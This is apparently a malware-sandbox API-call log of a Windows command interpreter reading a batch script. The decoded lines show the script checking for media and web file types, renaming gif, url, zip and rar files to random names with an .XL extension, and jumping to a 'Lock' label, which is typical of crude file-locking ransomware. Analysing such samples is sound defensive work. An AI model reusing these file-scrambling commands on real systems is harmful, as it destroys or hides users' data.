hFile=0x74, lDistanceToMove=2623, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa3f [0038.338] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp4 goto l\r\n") returned 27 [0038.338] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.339] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa3f [0038.339] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.339] GetFileType (hFile=0x74) returned 0x1 [0038.339] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa3f [0038.339] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.339] SetFilePointer (in: hFile=0x74, lDistanceToMove=2650, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa5a [0038.339] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp3 goto l\r\n") returned 27 [0038.339] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.339] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa5a [0038.339] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.339] GetFileType (hFile=0x74) returned 0x1 [0038.339] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa5a [0038.339] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.339] SetFilePointer (in: hFile=0x74, lDistanceToMove=2677, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa75 [0038.339] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.wav goto l\r\n") returned 27 [0038.339] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.339] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa75 [0038.339] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.339] GetFileType (hFile=0x74) returned 0x1 [0038.339] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa75 [0038.339] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.339] SetFilePointer (in: hFile=0x74, lDistanceToMove=2704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa90 [0038.340] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.jpg goto l\r\n") returned 27 [0038.340] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.340] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa90 [0038.340] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.340] GetFileType (hFile=0x74) returned 0x1 [0038.340] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa90 [0038.340] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.340] SetFilePointer (in: hFile=0x74, lDistanceToMove=2731, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xaab [0038.340] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.png goto l\r\n") returned 27 [0038.340] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.340] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xaab [0038.340] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.340] GetFileType (hFile=0x74) returned 0x1 [0038.340] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xaab [0038.340] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.340] SetFilePointer (in: hFile=0x74, lDistanceToMove=2758, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xac6 [0038.340] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.htm goto l\r\n") returned 27 [0038.340] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.340] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xac6 [0038.340] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.340] GetFileType (hFile=0x74) returned 0x1 [0038.340] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xac6 [0038.341] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.341] SetFilePointer (in: hFile=0x74, lDistanceToMove=2786, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xae2 [0038.341] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.html goto l\r\n") returned 28 [0038.341] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.341] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xae2 [0038.341] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.341] GetFileType (hFile=0x74) returned 0x1 [0038.341] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xae2 [0038.341] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.341] SetFilePointer (in: hFile=0x74, lDistanceToMove=2792, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xae8 [0038.341] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":gif\r\n EXIST *.html goto l\r\n") returned 6 [0038.341] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.341] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xae8 [0038.341] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.341] GetFileType (hFile=0x74) returned 0x1 [0038.341] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xae8 [0038.341] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.341] SetFilePointer (in: hFile=0x74, lDistanceToMove=2818, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb02 [0038.341] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.gif %RANDOM%.XL\r\n\r\n") returned 26 [0038.341] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.341] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb02 [0038.341] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.341] GetFileType (hFile=0x74) returned 0x1 [0038.342] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb02 [0038.342] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.342] SetFilePointer (in: hFile=0x74, lDistanceToMove=2820, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb04 [0038.342] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.gif %RANDOM%.XL\r\n") returned 2 [0038.342] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.342] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb04 [0038.342] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.342] GetFileType (hFile=0x74) returned 0x1 [0038.342] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb04 [0038.342] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.342] SetFilePointer (in: hFile=0x74, lDistanceToMove=2831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb0f [0038.342] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0038.342] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.342] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb0f [0038.342] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.342] GetFileType (hFile=0x74) returned 0x1 [0038.342] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb0f [0038.342] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.342] SetFilePointer (in: hFile=0x74, lDistanceToMove=2837, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb15 [0038.342] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":url\r\nock\r\n") returned 6 [0038.343] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.343] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb15 [0038.343] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.343] GetFileType (hFile=0x74) returned 0x1 [0038.343] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb15 [0038.343] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.343] SetFilePointer (in: hFile=0x74, lDistanceToMove=2863, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb2f [0038.343] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.url %RANDOM%.XL\r\n") returned 26 [0038.343] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.343] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb2f [0038.343] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.343] GetFileType (hFile=0x74) returned 0x1 [0038.343] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb2f [0038.343] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.343] SetFilePointer (in: hFile=0x74, lDistanceToMove=2865, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb31 [0038.343] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.url %RANDOM%.XL\r\n") returned 2 [0038.343] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.343] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb31 [0038.343] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.344] GetFileType (hFile=0x74) returned 0x1 [0038.344] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb31 [0038.344] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.344] SetFilePointer (in: hFile=0x74, lDistanceToMove=2876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb3c [0038.344] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nl %RANDOM%.XL\r\n") returned 11 [0038.344] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.344] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb3c [0038.344] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.344] GetFileType (hFile=0x74) returned 0x1 [0038.344] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb3c [0038.344] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.344] SetFilePointer (in: hFile=0x74, lDistanceToMove=2882, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb42 [0038.344] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":zip\r\nock\r\n") returned 6 [0038.344] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.344] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb42 [0038.344] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.344] GetFileType (hFile=0x74) returned 0x1 [0038.344] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb42 [0038.344] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.344] SetFilePointer (in: hFile=0x74, lDistanceToMove=2884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb44 [0038.344] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nip\r\n") returned 2 [0038.345] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.345] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb44 [0038.345] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.345] GetFileType (hFile=0x74) returned 0x1 [0038.345] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb44 [0038.345] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.345] SetFilePointer (in: hFile=0x74, lDistanceToMove=2910, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb5e [0038.345] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.zip %RANDOM%.XL\r\n") returned 26 [0038.345] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.345] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb5e [0038.345] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.345] GetFileType (hFile=0x74) returned 0x1 [0038.345] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb5e [0038.345] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.345] SetFilePointer (in: hFile=0x74, lDistanceToMove=2921, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb69 [0038.345] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\np %RANDOM%.XL\r\n") returned 11 [0038.345] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.345] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb69 [0038.345] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.345] GetFileType (hFile=0x74) returned 0x1 [0038.345] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb69 [0038.345] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.346] SetFilePointer (in: hFile=0x74, lDistanceToMove=2923, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb6b [0038.346] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.346] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.346] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb6b [0038.346] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.346] GetFileType (hFile=0x74) returned 0x1 [0038.346] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb6b [0038.346] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.346] SetFilePointer (in: hFile=0x74, lDistanceToMove=2929, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb71 [0038.346] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":rar\r\nock\r\n") returned 6 [0038.346] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.346] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb71 [0038.346] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.346] GetFileType (hFile=0x74) returned 0x1 [0038.346] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb71 [0038.346] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.346] SetFilePointer (in: hFile=0x74, lDistanceToMove=2931, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb73 [0038.346] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nar\r\n") returned 2 [0038.346] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.346] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb73 [0038.346] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.346] GetFileType (hFile=0x74) returned 0x1 [0038.346] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb73 [0038.347] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.347] SetFilePointer (in: hFile=0x74, lDistanceToMove=2957, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb8d [0038.347] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.rar %RANDOM%.XL\r\n") returned 26 [0038.347] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.347] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb8d [0038.347] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.347] GetFileType (hFile=0x74) returned 0x1 [0038.347] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb8d [0038.347] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.347] SetFilePointer (in: hFile=0x74, lDistanceToMove=2959, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) 